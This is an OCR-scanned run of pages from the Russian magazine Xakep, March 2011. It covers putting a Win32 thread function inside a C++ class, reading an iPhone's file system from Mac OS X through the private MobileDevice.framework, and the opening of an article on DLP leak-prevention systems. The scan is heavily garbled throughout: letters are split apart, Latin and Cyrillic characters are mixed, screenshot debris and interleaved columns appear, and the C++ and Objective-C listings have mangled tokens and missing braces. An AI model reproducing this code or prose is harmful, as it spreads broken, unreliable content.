hThread = : : CreateThread (NULL , О , &ThreadFunc ,

О , О , &idThread) ;

Все очень просто. Есть класс MyC lass, который создает поток с помощью C reate Thread . П отоковая фун кция Thread Fu пс нахо­дится вне класса. Ком пилируется этот код без п робл е м , но есть нескол ько нюансов , из-за кото рых та кое решение м ожет оказать­ся неприемл е м ы м . Основ ная проблема закл ючается в том , что м ы не м ожем полу­ч ить доступ к внутренним м етодам и перем е н н ы м класса. Первое , что приходит в голову для решения этой зада ч ки - сделать пото­ковую фун кцию членом класса . То есть п р и мерно та к :

� 1 1 2

Потоковая функция - член класса c l a s s MyClass

public :

voi d RunThread ( ) ;

private :

DWORD WINAPI ThreadFunc ( LPVOID lpParam ) ;

} ;

DWORD WINAPI MyClass : : ThreadFunc ( LPVOID lpParam)

return О ;

void MyClas s : : RunThread ( )

HANDLE hThread;

DWORD idThread;

// на такой код будет ругаться компилятор

hThread = : : CreateThread (NULL , О , &ThreadFunc ,

О , О , & idThread ) ;

Но если поп робовать скорм ить этот код ко м п и лятору, то М Ы

получ и м о ш и б ку, суть которой заключа ется в том , что т и п пото­ковой фун к ц и и не соответствует требуем ому. Есл и коп нуть глубже, то мы поймем , что ком п илятор просто не м ожет понять, адрес какой и м е н н о Тhгеа d Fu п с переда вать в кач естве третьего параметра в C reateThread . П р и это м о бъекто в MyC lass м ожет быть созда н о н е с колько, и распола гаться о н и м о гут в любом куске п а м яти , а AP I дл я созда н и я треда требует указания то ч н о­го адреса потоко вой фун кци и , кото р ы й , понятное дел о , ста но­в ится известен лишь во время в ы п ол н е н и я п рогра м м ы . Та к что ком п илятор л и ш ь разводит рука м и и п редла га ет еще н е м ного пораски нуть м оз га м и .

Следующее , что п р и ходит в голо ву, это о п ять вы н ести ТhгеаdFuпс за п редел ы кл асса , но в этот раз сделать ее друже­ственной к MyClass с помощью д и р е ктивы fr ie n d . О бъявл е н н а я

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 102: Хакер март 2011

.. pТhr ... d · Microsoft VIs ... t С++ [ .... Ign] · MyClass.cpp E.ie �dt � �jed � !;lebug 1001< YtЫOW � . W · fu · � IiiI " I � � 8 1 <1 - "' - � , "' I l:& � b A' I \l< i"' / � � I "' � � " ,

, • х _ ExoIar ... . "",Тh:eod 4 Х

�g�. FijМyClas' Q.. � #lnclude "StdJ.t x . ь." J oopTtread."", I МyCIas,.h МyOнs.cpp / stdafx."", I ,t<Wx.h I

Э ГI��R���Тtr-eod�----------------------------------Э'Т П��-77������­_ / Ioi ,_ '"",Тh:ead' (1 project) � / 8 � оорп...od l #include " . \ myc lаЗ5 . Ь"

- DVORD VINIPI ThreadFunc (LPVOID lpParem)

< KyCla�s'" mc - (ИуСla.ss-l lрРаram:

cout « _T I "Start t.hroead, m_1nt.Var = " ) « mc->m_1ntVаr :

ret.urn О;

� НуСlазз : : КуСlазs (vo1d)

l : � ИуСlазз: :-ИуСlаЗ1!l (void)

l : � VOid lIуСlазз : : RunТhread ( ) l <} HJ.NDLE hТbre:ad; DVORD ldТhread;

hThread - : : Create:Thread (NULL, О, 'ТhreadFunc , thiз, О, 'idThread) ;

-I .f

@J References 8 E:j Sourсе _

@ МyCIas,.cpp @ "",тtreod."", @ stdafx."", 8 E:j Нeade< _ @ МyCIoss.h @ stdafx.h CJ ResOU'ce Fies

liJ о.""".""

-�� еl,,,, . . Ii!!J!RеSO .. . 4 Х

I МyCI;t.. vceodeC1os, []IO �! /� f S • / § В е

( ...... ) МYCIaS, '�e h:\src\xaket\oopthl(

FuIINarne /Y1yC!ass

IsAbst:r",t FaI$e

IslnJected False JsМanal;led False

Is5ealed Fal5e Isfemp/ate F<tIse

I_I'V"" False

-�Pr_tiesl о Dy.,..,;c НeIp I

I���====�========================� __________________________________ � ______ �/I����� __ ���1� __ ���1� __ �/,[]� Кадим многопоточный класс В vs

та к и м образом потоковая фун кция должна без п робл е м полу­ч ить доступ к p rivate членам MyC lass . Но, та к как Тh геа d Fu п с существует в еди н ственном э кземпляре , а о бъе ктов класса м ожет быть м н ожеств о , то нам п р идется п е р еда вать п отоковой фун к ц и и в кач естве параметра указател ь на созда ющий тред объект.

Потоковая функция, дружественная классу DWORD WINAPI ThreadFunc ( LPVOI D lpParam) ;

class MyClass

public :

voi d RunThread ( ) ;

friend DWORD WINAPI ThreadFunc ( LPVOID lpParam ) ;

private :

int m_intVa r ;

} ;

DWORD WINAPI ThreadFunc ( LPVOID lpParam)

/ / а тут мы уже можем обращаться к private членам

MyClas s * тс = ( MyClass * ) lpParam;

mc- >m_iпtVаr = 9 0 ;

cout « _T ( " Start thread , m_intVar " )

« mc ->m_iпtVаr ;

return О ;

ХАКЕР 0 3 / 1 46/ 2 0 1 1

void MyClass : : RunThread ( )

HANDLE hThread;

DWORD idThread;

// передаем потоковой функции указатель на

/ / текущий объект

hThread = : : CreateThread (NULL , О , &ThreadFunc ,

thi s , О , &idThread ) ;

Все в этом примере хорошо, за исключением одного: К ThreadFunc можно обратиться в обход MyClass, а это не только делает бессмыс­ленным создание отдельного класса для п роектирования потока, но и нарушает инкапсуляцию - основной принцип объектно­ориентированного программи рования . Потоковая фун кция и меет доcrуп к за крыты м членам класса, а следовательно, любой желаю­щий может их изменить, нарушая все законы ООП . Очевидно, что для решения п роблемы с и н капсуляцией нам надо вернуть ТhгеаdFuпс обратно в пределы класса. Но, как мы уже видели выше , комп илятор отказы вается работать с та ким кодом. Исправить это можно, объя вив потоковую фун кцию статической. В этом случае ее адрес будет известен на эта пе сборки программы , что позволит избежать п роблем с компиляцией. Но так как функция-член ThreadFunc статическая, то, работая с дру­гими членами MyClass, она не сможет корректно определить, с каким именно объектом класса ей нужно производить те или иные действия. Как и в случае с дружественной функцией, нам надо будет передавать потоку в качестве параметра указатель на текущий объект.

Статическая потоковая функция - член класса class MyClass

� 1 1 3

Page 103: Хакер март 2011

_.

Cn:lI!cThrClld function

........ IrnOOrI c.-.. __ • -" -�-� '.-........... _.. . ..... ........... . _.. l.n8UD_nv:>'_-'- ...... __ ... _.. ""'� """-"'" _ .. - _ .. _, ... . -- -- ........... .

. -:.:-...:.:.�_ ... _ ..-... _ _ _ Ioo _ � _ _ "I1_ . ...... ...

::.=...,.:.� .. "':'=-..:.:=.'С':'"....:..,-= =::�.::.� ::...ro.:---.. ми...,. .. AN_._­

=-.=:.:-.k:'�..::.�;.,':..'::::.==-""="'r...._-_ .... --.. --- - ", ... _.-

;:::::��,::9тt:e,�--_ ..... __ " ___ 1f .. ·_ ... ___ ... ...., ... _'"' ... _·

-:.:;:.::...--- .... _� ... _ .... _ .. __ ..... _ . .... __ ...... _--._ ... _ .... _ .... --:""II.,.::;::::.= ... �"=':.:..':"���...::...- .. _ .. . _ _ .. -... _ - _ ...

._-_ ... - - _ ... _ - -

МSDN может рассказать много полезного о CreateТhread

publ i c :

void RunThread ( ) ;

private :

static DWORD WINAPI ThreadFunc ( LPVOID lpPararn) ;

} ;

DWORD WINAPI MyClass : : ThreadFunc ( LPVOID lpPararn)

11 и тут мы уже можем обращаться к private членам

MyC l a s s * тс = ( MyClas s * ) lpPararn;

mc ->m_iпtVаr = 9 0 ;

cout « _T ( " Start thread , m_intVar

« mc- >m_iпtVаr i

return О ;

void MyClas s : : RunThread ( )

HANDLE hThread;

DWORD idThread ;

" )

1 1 передаем потоковой функции указатель

1 1 на текущий объект

hThread = : : CreateThread ( NULL , О , &ThreadFunc ,

О , О , & i dThread ) ;

Те перь мы решил и все н а ш и пробл е м ы . В неся код треда в MyClass, мы обошли сложности с и н капсул я цией - теперь доступ к за крытым членам класса осуществляется тол ько л и ш ь из м ето­да класса. А объя в и в ТhгеаdFuпс в private блоке, мы тем самым л и ш ил и пол ьзо вател ей нашего класса возможности выз вать потоковую фун кцию нап ря мую. Этот вариант решения нашей задачки можно назвать са м ы м опти мальн ы м и , казалось б ы , оста новиться на этом . Н о есть е ще оди н трюк, в основном для люб ителей С++ B u i lder, о котором я долже н рассказать. Реал изация ко м п ил ятора от Борла нда содержит в себе директи­ву _closure, которая служит для определ е н и я типа обработч и ка событи я . Вообще, обработч и к события п редста вляет собой указа­тел ь на фун кцию. Обычно этот указатель и меет 4-байтн ы й размер , но п р и о п редел е н и и та кого типа указателя функции пе редается е ще и указатель t h i s на экземпляр класса , поэтому указател ь и м еет 8-байтовый размер .

� 1 1 4

Дружественная классу потоковая функция успешно изменяет его закрытые переменные

Воспользовавшись этой директивой и нем ного подп равив код, потоковую фун кцию уже можно не делать статической . Для боль­шей наглядн ости посмотр и м код:

Использование _clo5ure

typedef uns igned long (_stdcal l * ThdFunc ) ( void

*arg ) ; 11 прототип функции потока

typedef uns igned long (_closure *ClassMethod) (void

*arg ) ; 1 1 прототип метода класса

1 1 данное объединение позволяет решить несостыковку с

типами

typedef union

ThrdFunc Funct ion ;

ClassMethod Method;

tThrdAdd r ;

class MyClass

private :

tThrdAddr Add r ;

protected :

unsigned l ong ThreadFunc ( void *arg)

} ;

publ ic :

RunThread ( )

DWORD idThread ;

Addr . Method = &ThrdНandl e ;

1 1 тут идет преобразование указателя

} ;

} ;

CreateThread (NULL , О , Addr . Func t i o n ,

this , О , & i dThread) ;

Конечно, такое решение пригодно л и ш ь для испол ьзования его в среде Bu i lder, а многие программисты считают е го грязным хаком. К тому же, использова ние объединений для решения п роблем с типизацией - то еще извращение . Но, с другой сторон ы , если код работает корректно - значит, он и меет п ра во на существование.

Заключение Теперь мы можем писать ООП-код, который выполняется в раз­лич ных потоках. П еречисленные выше способы не я вляются един­ственными - возможно, кто-то придумал что-то более и нтересное для реал изации да нной задачи . Но для написания качественных программ этого вполне достаточно. :х:

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 104: Хакер март 2011

• • Всеволод З а х а р о в Isevafa v i n g r a d . r u J

ЮЗАЕМ IPHONE ИЗ МАС OS X 3aKP)ITbIe возможно.сти Мае OS ХДJJЯ работы е мdОильными уетроиетвами от A-ррLе

с) Из этой статьи ты узнаешь, как можно общаться с iPhone, iPad и iPod touch из своих программ под Мас OS Х, не прибегая к скриптингу iTunes. В результате сегодняшней работы мы получим полный доступ к файловой системе мобильного устройства с помощью закрытого фреймворка Mob i ie Device Framework.

Введение Мне нередко приходилось видеть в сети вопросы типа : «Можно ли использовать мой iPhone как флешку?». Действительно, памяти на устройстве уста новлено немало, хотелось бы иметь возможность использовать ее свободно, а не только для хра нения файлов, полу­ченных через iТu пеs в различных сервисах Apple. Однако iPhone·bI и i Pod ·bI I и меются в виду i Pod touch) при п одключении не монтиру­ются ка к съемные носител и ни в Мас 05 Х, ни в виндах. Apple действительно не п редоставила такой фун кциональности в своих устройствах, но общественность не дремлет, и со временем появилось множество утилит, которые дают пользователю возмож­ность работать с устройством Apple как со съемным носителем. Некоторые из них уста на вл и ва ются на i Рhопе, некоторые - на хост. Одн и работают через Wi-Fi Iнапример Flash Dгive ) , другие - через U5B l iPhone Folders). Нас будет интересовать в основном работа через U5B - Wi- Fi не везде есть, да и скорость обмена да нными в этом случае оста вляет желать лучшего .

ХАКЕР 03 / 1 46/ 2 0 1 1

Готовые тулзы Их немало. Те, что работают через U5B, можно усл овно разделить на два класса : одн и нужно ставить на мобильное устройство 'тогда потребуется и ja i lbreak) , другие следует устанавл и вать на хост. В качестве при мера последних можно при вести i Рhопе foldeгs l iphonefolders.coml . iPhone Folders - это расширение Windows Explorer, которое позволяет просматривать, копировать и удалять содержимое i Pod touch или i Phone, соединенного с компьютером через U5B, как в обычной папке п роводни ка . В общем, у а п па рата появляется фун кциональность обычного съемного диска, при этом ja i lbreak не требуется , но на хосте должен быть установлен iTu nes. Та ких поделок существует достаточно много ITouch Drive, Touch Сору и тому подобные) , а некоторые из них даже стоят денег, хотя, как мы потом увидим , ничего сложного в созда нии та ких прог нет. В качестве а налогичного решения для Мас 05 Х можно при вести i PhoneDisk - плагин к M acFuse, который также позволяет работать с файловой системой i Phone.

� 1 1 5

Page 105: Хакер март 2011

· УСТРОИ(l'." Е3 м..с mlпi

@ Y�eHHWii ДКСIC

... Общий доступ · ПI.ПlCи

� OeI.VV 1fi! StI611KOTtlOl g Р;l6очмм (Т01l А ПРОrpullol"

O ];lllmICIt (2J Dropbol( I&!Torтtna C] lnst.lll fJ Му)ЫIC.iII IJ ДОмуме.кт .. е с.illЙПool

Applicalionдtchive. com.apple..itdbpre.p .postproce.ss.!ock

DCIM Downloads

iТunts_Control Photos

Purchase.s Re.cordlngs

!! iPod tou<h

ц

D (om.apple..lttlnes.! com.apple..ltune.sst

oc�sync ore.d.sch ... e.ws.ptist

dpkg-re.state- dpkg-re.state.-stdtrr stdout

Podcasts PubIk5taglng

, , .. Папки iPhone можно видеть в Finder'e благодаря iPhoneDisk

Среди п рог, которые устанавливаются на само мобильное устройство и обеспечивают его монтирование при подкл ючении как съемного носителя, можно отметить, например, U5B Drive, которая доступна через Cyd ia. Подобные приложения имеют существенные недостат­ки, потому что они, как правило, предлагают на выбор три режима работы, для переключения между которыми требуется переза грузка мобильного устройства. В режиме Default устройство будет работать как обычно: гаджет можно будет использовать в качестве модема, распознавать его в i Photo как фотокамеру [по протоколу РТР - Picture Т гапsfег Protocoll и синхронизировать с iT unes. Второй режи м , Drive + iТuпеs, работает только в Мас 05 Х. В этом слу­чае интерфейс РТР будет заменен другим, Mass 5torage, что позволит использовать девайс в качестве U5В-флешки. П ри этом си нхрониза­ция с iTunes и дебаггер XCode продолжат работать как в дефолтном режиме. А в режи ме Drive Опlу устройство определится только как U5В-диск. П ри этом он будет виден в любой операционной системе.

Протоколы iТunes Все тайное рано или поздно становится явным, и как бы Apple не пыталась закрыть протоколы , по которым ее мобильные устройства взаимодействуют с iT unes, всегда найдутся ребята, которые все это п рогонят под U5В-снифером, отреверсят софт, драйвера и проведут все остальные необходимые опера ции. Так как Apple традиционно не поддерживает Linux, обеспечивать работу ее устройств в этой опера­ционке пришлось сообществу. Так появился проект l ib imobiledevice [ li bl mobi ledevice .orgl . l ib imobiledevice - это библиотека, которая обе­спечивает вза имодействие с iPhone, iPod touch, iPad и Apple ТУ. В отличие от других подобных проектов, она не зависит от стороннего п роприетарного программного обеспечения и не требует ja i lbreak·a устройств. Эта библиотека позволяет другим приложениям свободно

Собственно libmobiledevice для работы с файловой системой i Phone из Мас 05 Х нам не понадобится: можно было бы заюзать связку usbmuxd/lib iphone, но мы пойдем по другому пути и воспользуемся побочным продуктом разработки l ibmobiledevice - резул ьтата ми реверсинга Mobi leDevice.framework. Этот закрытый фреймворк идет вместе с Мас 05 Х и предоставляет высокоуровневый интерфейс к мобильному устройству. Найти его можно по пути /5ystem/Libraгy/ PrivateFrameworks/MobileDevice.framework. Хедеры там, понятное дело, найти невозможно. А вот найти хедеры, которые появились после исследования этого фреймворка реверс-инженерами , можно на thеlрhопеwiki.соm . Как видно по найденому нами mobiledevice. h , функции в M obi leDevice.framework работают на достаточно высоком уровне, так что заморачиваться с U5В-мультиплексингом и про­чим нам не придется. В качестве при мера работы с M obi leDevice. framework мы создадим класс для обмена файлами с устройством.

Кодим Кодить будем на Objective-C/Cocoa. Не забудь в проекте XCode доба­вить ссылку на Mobi leDevice.framework, чтобы все нормально слин­ковалось. Создадим два класса: Mobi leDevice и Mobi leDevice5eгver. П ервый будет отвечать за работу с файловой системой мобильного устройства, второй - за подкл ючение/отключение устройств.

Интерфейс наших классов

#import <Cocoa/ Cocoa . h>

#import " Mobi leDevice . h "

@interface MobileDevice : NSObj ect

@public

struct arn_device * dev ;

struct afc_connection * соnn ;

- ( MobileDevice * ) initWithDevice :

( struct aт_device * ) device ;

- (MobileDevice * ) сору ;

/ / в этом методе инициируем АРС соединение

- ( BOOL) connect ;

/ / Получаем свойства устройства , например тип или имя

- (NSString * ) getValue : ( CFStringRe f ) пате ;

/ / Собственно работа с файловой системой

- ( BOOL) pathExi st : (NSSt ring * ) path;

- ( BOOL) downloadFile : (NSString * )

remote-path toLocat ion : (NSString * ) local-path;

- ( BOOL) uploadFile : ( NSString * ) loca1-path

toLocation : (NSString * ) remote-path;

- ( BOOL) downloadDirectory : ( NSString * ) remote-path

toLocat ion : (NSString * ) loca1-path;

- ( BOOL) uploadDirectory : ( NSString * ) local-path

toLocation : ( NSString * ) remote-path;

- ( BOOL) removeDirectory : (NSString *) remote-path;

- (BOOL) isDirectory : (NSSt ring * ) path;

работать с данными на мобильных устройствах, делать бэкапы, управ- @end

лять и конками 5ргiпgВоагd , управлять уста новленными на устрой-ствах приложениями, синхронизировать музыку и видео. / / Сервер сделаем синглтоном , поэтому методов

На рисунке видно, что библиотека взаимодействует с U5B- / / init у него не будет , а default Server возвращает

устройства ми через l ibusb- l .0. usbmuxd - демон, который обе- / / единственный инстанс класса

спечивает мул ьтиплексную передачу данных по TCP/IP через U5B- @interface MobileDeviceServer : NSObject

и нтерфейс. Таким образом, ДЛЯ остального софта U5В-интерфейс @public

становится прозрачным и он может взаимодействовать с сервисами , NSMutableArray * MobileDevice s ;

бегающими на мобильном устройстве, через сокеты. ДЛЯ обмена данными с демоном используется библиотека libusbmuxd. l ibiphone - это уже реализация протоколов сер висов i05. Если приложение + (MobileDeviceServer * ) delfaultServer;

работает с файловой системой мобильного устройства, то оно исполь- @end

зует AFC- [или AFC2-1 протокол. AFC IApple File Соппесtiопl - это сервис, который доступен на каждом i Рhопе/iРоd touch. Именно Реализация Mobi leDevice5eгver простая, поэтому приведу ее здесь этот сервис iТuпеs использует для обмена файлам и с устройством. полностью. Основная задача этого класса - получать уведомления

� 1 1 6 ХАКЕР 03 /146/ 20 1 1

Page 106: Хакер март 2011

от Mobi leDevice.framework о подключении/отключении устройств и формировать список подключенных, что бы потом хендлер устрой­ства можно было использовать при создании инстанса класса Mobi leDevice.

@ implementation MobileDeviceServer

static Mobi leDeviceServer * DefaultServer n i l ;

static void AmDeviceNotificationCal lback (

struct am_device_noti ficat ion_cal lback_info

* info )

if ( info->msg = = ADNCI_MSG_CONNECTED)

{ 1/ Новое устройство

MobileDevice * device = [ [Mobi leDevice a l loc]

ini tWithDevice : info- >dev] ;

[device connec t ] ;

[ DefaultServer- >МоЬi lеDеviсеs addObject : device ] ;

else i f ( info->msg == ADNCI_MSG_DI SCONNECTED )

{ / / Отключили устройство

for ( int i = О ;

}

}

i < ( Default Server- >МоЬi lеDеviсеs count ] ;

+ + i )

/ / Ищем его в своем списке и удаляем

i f I I I MobileDevice * ) [ DeEault Server- >МоЬi lеDеviсеs

obj ectAtlndex : i ] ) ->dev == info- >dev)

[ Default Server->МоЬilеDеviсеs removeObjectAt lndex : i ] ;

break;

+ I MobileDeviceServer * ) delfaultServer

if ( Default Server == n i l ) {

DefaultServer = [ [MobileDeviceServer alloc] init ] ;

/ / Тут будем хранить список подключенных устройств

Default Server->МоЬi lеDеviсеs

[ [NSMutableArray alloc] init ] ;

1 / Подпишемся к уведомлениям от MobileDevice . framework

struct am_device_notification * subscription;

i f ( AМDeviceNotificat ionSubscribe (

&AmDeviceNo t i f icat ionCallback ,

О , О , О , &subscription) ! = О ) { / / Не получилось : I

[ DefaultServer->МоЬilеDеviсеs release ] ;

[ DefaultServer release ] ;

DefaultServer = nil ;

return Default Server;

@епд

В качестве при мера работы с девайсом через AFC при веду реал и ­зацию метода dоwп lоаdF i lе класса Mobi leDevice. Всю реал изацию при водить здесь см ысла нет, н о ты може ш ь найти ее на диске .

- ( BOOL) downloadFile : ( NSString * ) remote-path

toLocation : (NSString * ) loca1-path

ХАКЕР 03 / 1 46/ 20 1 1

usbmuxd

libusb-1.0

Структура libmobiledevice

i f ( соnn = = n i l ) return FALS E ;

afc_f ile_ref f i le_ref ;

if (AFCFileRefOpen ( сопп , [ remote-path cString ] ,

AFC_MODE_READ , О , & f i le_ref ) ! = О )

return FALS E ;

F I L E * local_fi l e = Еореп (

[ loca1-path cString ] , " w" ) ;

i f ( local_fi l e = = NULL )

AFCFi l eRefClose ( conn , f i le_re f ) ;

return NO ;

char buf fer [ l O O O O ] ;

int len;

do (

len = sizeof ( buffer ) ;

i f (

AFCFileRefRead ( conn , file_ref , buf fer , &len ) ! = О )

fclose ( local_f i l e ) ;

AFCFileRefClose ( conn ,

return NO ;

fwrite ( bu ffer , len , 1 , local_f i le ) ;

} while ( len == s i zeof ( bu f fer ) ) ;

fclose ( local_f i le ) ;

AFCFi l eRefClose ( conn , f i le_re f ) ;

return YES ;

Заключение Теперь, зная , как из Мас 05 Х получить доступ к файловой системе мобильных устройств Apple, для тебя несложно будет нап исать подо­бие iPhone folders и других альтернативных утилит. Дополн ительным плюсом работы с i Pod/i Phone из Мас 05 Х является то , что нет необ­ходи мости устанавли вать стороннее програ ммное обеспечен ие , как в виндах [ iTunes, Apple mobile device support и так далее) . Все будет работать на голой системе с диска. :Х:

� 1 1 7

Page 107: Хакер март 2011

• • Рустэм Х а Й р е ТД И Н О 8 . з а м е с т и т е л ь г е н е р а л ь н о г о д и р е к т о р а InfoWatch

Как работают DLР-системы? Разбираемся в технологиях предотвращения утечки информации Если быть достаточно последовательным в определениях, то можно сказать, что информационная безопасность началась именно с появления DLP-систем. До этого все продукты, которые занимались «информационной безопасностью», на самом деле защищали не информацию, а инфраструктуру - места хранения, передачи и обработки данных.

Компьютер, приложение или канал, в которых находится, обраба­

тывается или передается конфиденциальная информация, защи­

щаются этими продуктами точно так же, как и инфраструктура, в

которой обращается совершенно безобидная информация. То есть

именно с появлением DLР-продуктов информационные системы

научились наконец-то отличать конфиденциальную информацию

от неконфиденциальноЙ. Возможно, с встраиванием DLР-техноло­

гий в информационную инфраструктуру компании смогут сильно

сэкономить на защите информации - например, использовать

шифрование только в тех случаях, когда хранится или передается

конфиденциальная информация, и не шифровать информацию в

других случаях.

Однако это дело будущего, а в настоящем данные технологии

используются в основном для защиты информации от утечек.

Технологии категоризации информации составляют ядро DLР-сис­

тем. Каждый производитель считает свои методы детектирования

конфиденциальной информации уникальными, защищает их

патентами и придумывает для них специальные торговые марки.

Ведь остальные, отличные от этих технологий, элементы архнтек­

туры (перехватчики протоколов, парсеры форматов, управление

инцидентами и хранилища данных) у большинства производителей

идентичны, а у крупных компаний даже интегрированы с другими

продуктами безопасности информационной инфраструктуры.

В основном для категоризации данных в продуктах по защите корпо­

ративной информации от утечек используются две основных груп­

пы технологий -лингвистический (морфологический, семантичес­

кий) анализ и статистические методы (Digital Fingerprints, Document

DNA, антиплагиат) . Каждая технология имеет свои сильные и

слабые стороны, которые определяют область их применения.

� 1 1 8

Лингвистический анализ Использование стоп-слов (<<секретно», «конфиденциально» И тому

подобных) для блокировки исходящих электронных сообщений в

почтовых серверах можно считать прародителем современных DLP­

систем. Конечно, от злоумышленников это не защищает -удалить

стоп-слово, чаще всего вынесенное в отдельный гриф документа, не

составляет труда, при этом смысл текста нисколько не изменится.

Толчок в разработке лингвистических технологий бьш сделан в

начале этого века создателями еmаil-фильтров. Прежде всего, для защиты электронной почты от спама. Это сейчас в антиспамовских

технологиях преобладают репутационные методы, а в начале века

шла настоящая лингвистическая война между снарядом и броней

- спамерами и антиспамерами. Помните простейшие методы для

обмана фильтров, базирующихся на стоп-словах? Замена букв на

похожие буквы из других кодировок или цифры, транслит, случай­

ным образом расставленные пробелы, подчеркивания или переходы

строк в тексте. Антиспамерыдовольно быстро научились бороться с

такими хитростями, но тогда появился графический спам и прочие

хитрые разновидности нежелательной корреспонденции.

Однако использовать антиспамерские технологии в DLP-проДУКтах

без серьезной доработки невозможно. Ведь для борьбы со спамом

достаточно делить информационный поток на две категории: спам

и не спам. Метод Байеса, который используется при детектировании

спама, дает только бинарный результат: «да» или «нет». для защиты

корпоративных данных от утечек этого недостаточно -нельзя

просто делить информацию на конфиденциальную и неконфи­

денциальную. Нужно уметь классифицировать информацию по

функциональной принадлежности (финансовая, производствен­

ная, технологическая, коммерческая, маркетинговая), а внутри

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 108: Хакер март 2011

классов - категоризировать ее по уровню доступа (для свободного

распространения, для ограниченного доступа, для служебного

использования, секретная, совершенно секретная и так далее).

Большинство современных систем лингвистического анализа ис­

пользуют не только контекстный анализ (то есть в каком контексте,

в сочетании с какими другими словами используется конкретный

термин), но и семантический анализ текста. Эти технологии рабо­

тают тем эффективнее, чем больше анализируемый фрагмент. На

большом фрагменте текста точнее проводится анализ, с большей

вероятностью определяется категория и класс документа. При

анализе же коротких сообщений (SMS, интернет-пейджеры) ничего

лучшего, чем стоп-слова, до сих пор не придумано. Автор столкнулся

с такой задачей осенью 2008 года, когда с рабочих мест многих бан­

ков через мессенджеры пошли в Сеть тысячи сообщений типа «нас

сокращают», «отберут лицензию», «отток вкладчиков», которые

нужно бьшо немедленно заблокировать у своих клиентов.

Достоинства технологии Достоинства лингвистических технологий в том, что они работают

напрямую с содержанием документов, то есть им не важно, где и

как бьш создан документ, какой на нем гриф и как называется файл

- документы защищаются немедленно. Это важно, например, при

обработке черновиков конфиденциальных документов или для

защиты входящей документации. Если документы, созданные и ис­

пользующиеся внутри компании, еще как-то можно специфическим

образом именовать, грифовать или метить, то входящие документы

могут иметь не принятые в организации грифы и метки. Черновики

(если они, конечно, не создаются в системе защищенногодокумен­

тооборота) тоже могут уже содержать конфиденциальную информа­

цию, но еще не содержать необходимых грифов и меток.

Еще одно достоинство лингвистических технологий - их обуча­

емость. Если ты хоть раз в жизни нажимал в почтовом клиенте

кнопку «Не спам», то уже представляешь клиентскую часть системы

обучения лингвистического движка. Замечу, что тебе совершенно

не нужно быть дипломированным лингвистом и знать, что именно

изменится в базе категорий -достаточно указать системе ложное

срабатывание, все остальное она сделает сама.

ХАКЕР 03 11 46/ 20 1 1

Третьим достоинством лингвистических технологий является их

масштабируемость. Скорость обработки информации пропорци­

ональна ее количеству и абсолютно не зависит от количества катего­

рий.

До недавнего времени построение иерархической базы категорий

(исторически ее называют БКФ - база контентной фильтрации, но

это название уже не отражает настоящего смысла) выглядело неким

шаманством профессиональных лингвистов, поэтому настройку

БКФ можно бьшо смело отнести к недостаткам. Но с выходом в 2010

сразу нескольких продуктов-«автолингвистов» построение первич­

ной базы категорий стало предельно простым - системе указыва­

ются места, где хранятся документы определенной категории, и она

сама определяет лингвистические признаки этой категории, а при

ложных срабатываннях - самостоятельно обучается. Так что теперь

кдостоинствам лингвистических технологий добавилась простота

настройки.

И еще одно достоинство лингвистических технологий, которое хо­

чется отметить в статье - возможность детектировать в информа­

ционных потоках категории, не связанные с документами, находя­

щимися внутри компании. Инструмент для контроля содержимого

информационных потоков может определять такие категории, как

противоправная деятельность (пиратство, распространение за­

прещенных товаров), использование инфраструктуры компании в

собственных целях, нанесение вреда имиджу компании (например,

распространение порочащих слухов) и так далее.

Недостатки технологий Основным недостатком лингвистических технологий является их

зависимость от языка. Невозможно использовать лингвистический

движок, разработанный для одного языка, в целях анализа друго-

го. Это бьшо особенно заметно при выходе на российский рынок

американских производителей - они бьши не готовы столкнуться с

российским словообразованием и наличием шести кодировок. Не­

достаточно бьшо перевести на русский язык категории и ключевые

слова - в английском языке словообразование довольно простое,

а падежи выносятся в предлоги, то есть при изменении падежа

меняется предлог, а не само слово. Большинство существительных в

� 1 1 9

I I

Page 109: Хакер март 2011

ОПТИМИЗАЦИЯ БИЗНЕС-ПРОЦЕССОВ, ПОВЫШЕНИЕ ЭФФЕКТИВНОСТИ РАБОТЫ ПЕРСОНАЛА

PRE-DLP ИНФОРМАЦИОННАЯ БЕЗОПАСНОСТЬ

DLP POST-DLP КОМПЬЮТЕРНАЯ

КРИМИНАЛИСТИКА (ФОРЕНСИКА)

АУДИТ КОРПОРАТИВНОЙ ИНФОРМАЦИИ

ЗАЩИТА ИНФОРМАЦИИ ОТ УТЕЧКИ

ОБЕСПЕЧЕНИЕ СООТВЕТСТВИЯ ТРЕБОВАНИЯМ МЕЖДУНАРОДНЫХ И НАЦИОНАЛЬНЫХ РЕГУЛЯТОРОВ

английском языке становятся глаголами без изменений слова. И так

далее. В русском все не так - один корень может породить десятки

слов в разных частях речи.

В Германии американских производителей лингвистических

технологий встретила другая проблема - так называемые «компа­

УНДЫ», составные слова. В немецком языке принято присоединять

определения к главному слову, в результате чего получаются слова,

иногда состоящие из десятка корней. В английском языке такого

нет, там слово - последовательность букв между двумя пробелами,

соответственно английский лингвистический движок оказался

неспособен обработать незнакомые длинные слова.

Справедливости ради следует сказать, что сейчас эти проблемы во

многом американскими производителями решены. Пришлось до­

вольно сильно переделать (а иногда и писать заново) языковойдви­

жок, но большие рынки России и Германии наверняка того стоят.

Также сложно обрабатывать лингвистическими технологиями муль­

тиязычные тексты. Однако с двумя языками большинство движков

все-таки справляются, обычно это национальный язык + англий­

ский -для большинства бизнес-задач этого вполне достаточно.

Хотя автору встречались конфиденциальные тексты, содержащие,

например, одновременно казахский, русский и английский, но это

скорее исключение, чем правило.

Еще одним недостатком лингвистических технологий для контроля

всего спектра корпоративной конфиденциальной информации

является то, что не вся конфиденциальная информация находится в

виде связных текстов. Хотя в базах данных информация и хранится

в текстовом виде, и нет никаких проблем извлечь текст из СУБД,

полученная информация чаще всего содержит имена собственные

- ФИО, адреса, названия компаний, а также цифровую информа­

цию - номера счетов, кредитных карт, их баланс и прочее. Обра­

ботка подобныхданных с помощью лингвистики много пользы не

принесет. То же самое можно сказать о форматах СЛD/САМ, то есть

чертеl�, в которых зачастую содержится интеллектуальная собс­

твенность, программных кодах и медийных (видео/аудио) форма­

тах -какие-то тексты из них можно извлечь, но их обработка также

неэффективна. Еще года три назад это касалось и отсканированных

текстов, но лидирующие производители DLР-систем оперативно до­

бавили оптическое распознавание и справились с этой проблемоЙ.

Но самым большим и наиболее часто критикуемым недостатком

лингвистических технологий является все-таки вероятностный

подход к категоризации. Если ты когда-нибудь читал письмо с кате­

горией «Probably SPAМ», то поймешь, о чем я. Если такое творится

